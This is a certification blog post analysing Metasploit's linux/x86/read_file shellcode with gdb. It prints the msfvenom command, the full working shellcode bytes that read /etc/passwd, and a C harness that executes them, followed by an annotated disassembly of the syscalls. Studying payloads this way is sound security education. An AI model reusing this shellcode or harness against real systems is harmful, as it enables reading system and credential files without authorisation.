SLAE: linux_x86_read_file Shellcode Analysis

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

The task is to:

  • Take up at least 3 shellcode samples created using MSFpayload for linux/x86
  • Use gdb_ndisasm_libemu to dissect the functionality of the shellcode
  • present your analysis

The second shellcode we will examine is linux/x86/read_file.

msfvenom -p linux/x86/read_file --payload-options

Basic options are FD and PATH. FD by default is set to 1. We will use PATH=/etc/passwd.

Let’s generate our shellcode:

pagliacci$ msfvenom -p linux/x86/read_file PATH=/etc/passwd -f c

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

I’ll put c template to inject shellcode:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Shellcode works:

Sample image

Analysis in gdb

Let’s run gdb with peda to see how it works.

pagliacci-ubuntu:~$ gdb -q ./a.out
Reading symbols from /home/pagliacci/a.out...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ print /x &code
$1 = 0x804a040
gdb-peda$ break *0x804a040
Breakpoint 1 at 0x804a040
gdb-peda$ run

We can see JMP-CALL-POP technique. The first instruction is JMP.

0x804a040 <code>:	jmp    0x804a078 <code+56>             ;start of jmp-call-pop technique
0x804a078 <code+56>:	call   0x804a042 <code+2>          ;after jmp-call the address of "/etc/passwd string is located on the top of the stack"

sys_open

0x804a042 <code+2>:	mov    eax,0x5     ;sys_open syscall number
0x804a047 <code+7>:	pop    ebx         ;poping address of "/etc/passwd" string from the stack
0x804a048 <code+8>:	xor    ecx,ecx     ;zero out ecx
0x804a04a <code+10>:	int    0x80      ;execute sys_open

sys_read

0x804a04c <code+12>:	mov    ebx,eax     ;move file descriptor returned from sys_open to ebx register
0x804a04e <code+14>:	mov    eax,0x3     ;move sys_read number to eax
0x804a053 <code+19>:	mov    edi,esp     ;moving esp in ecx (i don't know why in two steps :( )
0x804a055 <code+21>:	mov    ecx,edi
0x804a057 <code+23>:	mov    edx,0x1000  ;number of bytes to read
0x804a05c <code+28>:	int    0x80        ;execute sys_read

sys_write

0x804a05e <code+30>:	mov    edx,eax    ;moving number of bytes read in ebx
0x804a060 <code+32>:	mov    eax,0x4    ;sys_write syscall number
0x804a065 <code+37>:	mov    ebx,0x1    ;file descriptor to write in (stdout)
0x804a06a <code+42>:	int    0x80       ;call sys_write

sys_exit

0x804a06c <code+44>:	mov    eax,0x1    ;mov sys_exit number to eax
0x804a071 <code+49>:	mov    ebx,0x0    ;move error_code 0 to ebx
0x804a076 <code+54>:	int    0x80       ;call sys_exit

Shellcode exited normally: Sample image